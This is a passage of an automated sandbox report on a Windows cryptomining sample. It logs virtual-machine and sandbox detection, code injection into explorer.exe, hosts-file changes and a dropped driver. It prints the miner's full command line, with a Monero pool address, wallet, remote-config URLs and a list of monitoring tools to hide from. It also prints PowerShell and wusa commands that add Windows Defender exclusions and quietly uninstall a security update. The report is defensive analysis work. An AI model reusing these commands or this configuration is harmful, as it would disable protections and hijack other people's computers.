              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

              Malware Analysis System Evasion

              barindex
              Query firmware table information (likely to detect VMs)
              Source: C:\Windows\explorer.exeSystem information queried: FirmwareTableInformationJump to behavior
              Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
              Source: explorer.exe, 0000003B.00000003.2173261256.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.4492113616.0000000000C3F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXE
              Source: explorer.exe, 0000003B.00000002.4492113616.0000000000BA5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
              Source: explorer.exe, 0000003B.00000002.4492113616.0000000000BA5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: EXPLORER.EXE--ALGO=RX/0--URL=XMR-EU1.NANOPOOL.ORG:10343--USER=44SZFI7TUDQDAZKCMFHCOY8JBZBYBSAKXLDETPAJCCWJVG4FVX5SWJMGYGIBWLGBWTXUGYRY6VXWRXKF94HTUAJR8HVICSX.MADRID--PASS=--CPU-MAX-THREADS-HINT=50--CINIT-WINRING=XEORHGBLKIAN.SYS--CINIT-REMOTE-CONFIG=HTTPS://PASTEBIN.COM/RAW/VTH4KA4Q,HTTPS://RENTRY.CO/VWEPPRBB/RAW--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-VERSION=3.4.0--TLS--CINIT-IDLE-WAIT=5--CINIT-IDLE-CPU=80--CINIT-ID=KQGPRDKJNFCVWOVHIQ
              Source: explorer.exe, 0000003B.00000003.2173261256.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000003.2173281186.0000000000C51000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.4492113616.0000000000C3F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEOCESSORCU
              Source: explorer.exe, 0000003B.00000003.2173261256.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.4492113616.0000000000C3F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXET FACTORY
              Source: explorer.exe, 0000003B.00000002.4492113616.0000000000BA5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEOX
              Source: explorer.exe, 0000003B.00000002.4492113616.0000000000C3F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXEBUFFERTEM
              Source: explorer.exe, 0000003B.00000003.2173064009.0000000001649000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: XLDETPAJCCWJVG4FVX5SWJMGYGIBWLGBWTXUGYRY6VXWRXKF94HTUAJR8HVICSX.QWERTYSTEALTH-TARGETSTASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXESTEALTH-FULLSCREENALGO
              Source: explorer.exe, 0000003B.00000002.4492113616.0000000000BA5000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000003.2173261256.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000003.2173281186.0000000000C51000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.4492113616.0000000000C3F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000003.2173064009.0000000001649000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
              Source: explorer.exe, 0000003B.00000003.2173261256.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000003.2173281186.0000000000C51000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000003.2173155346.000000000163E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "STEALTH-TARGETS": "TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE",
              Tries to detect virtualization through RDTSC time measurements
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeRDTSC instruction interceptor: First address: 7FF60BEBDD39 second address: 7FF60BF04313 instructions: 0x00000000 rdtsc 0x00000002 popfd 0x00000003 jmp 00007F53F4D4B966h 0x00000008 pop edi 0x00000009 rdtsc
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeRDTSC instruction interceptor: First address: 7FF688AADD39 second address: 7FF688AF4313 instructions: 0x00000000 rdtsc 0x00000002 popfd 0x00000003 jmp 00007F53F4B72CA6h 0x00000008 pop edi 0x00000009 rdtsc
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4724Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5105Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6581Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3017Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeDropped PE file which has not been started: C:\Windows\Temp\xeorhgblkian.sysJump to dropped file
              Source: C:\Windows\System32\conhost.exeAPI coverage: 0.8 %
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5472Thread sleep count: 4724 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5472Thread sleep count: 5105 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5628Thread sleep time: -8301034833169293s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6640Thread sleep count: 6581 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6640Thread sleep count: 3017 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2448Thread sleep time: -3689348814741908s >= -30000sJump to behavior
              Source: C:\Windows\explorer.exe TID: 3692Thread sleep count: 92 > 30Jump to behavior
              Source: C:\Windows\explorer.exe TID: 3692Thread sleep count: 51 > 30Jump to behavior
              Source: C:\Windows\System32\sc.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
              Source: C:\Windows\System32\sc.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
              Source: C:\Windows\System32\sc.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
              Source: C:\Windows\System32\sc.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: explorer.exe, 0000003B.00000002.4492113616.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.4492113616.0000000000B69000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: explorer.exe, 0000003B.00000002.4492113616.0000000000BC0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWoW
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\System32\conhost.exeCode function: 58_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,58_2_0000000140001160

              HIPS / PFW / Operating System Protection Evasion

              barindex
              System process connects to network (likely due to code injection or exploit)
              Source: C:\Windows\explorer.exeNetwork Connect: 104.20.3.235 443Jump to behavior
              Source: C:\Windows\explorer.exeNetwork Connect: 54.37.232.103 10343Jump to behavior
              Source: C:\Windows\explorer.exeNetwork Connect: 146.59.154.106 10343Jump to behavior
              Adds a directory exclusion to Windows Defender
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
              Found direct / indirect Syscall (likely to bypass EDR)
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeNtProtectVirtualMemory: Indirect: 0x7FF688BC9A71Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeNtProtectVirtualMemory: Indirect: 0x7FF60BFD9A71Jump to behavior
              Injects code into the Windows Explorer (explorer.exe)
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeMemory written: PID: 6556 base: 140000000 value: 4DJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeMemory written: PID: 6556 base: 140001000 value: NUJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeMemory written: PID: 6556 base: 140674000 value: DFJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeMemory written: PID: 6556 base: 140847000 value: 00Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeMemory written: PID: 6556 base: 805010 value: 00Jump to behavior
              Modifies the context of a thread in another process (thread injection)
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeThread register set: target process: 5788Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeThread register set: target process: 6556Jump to behavior
              Modifies the hosts file
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\explorer.exe explorer.exeJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
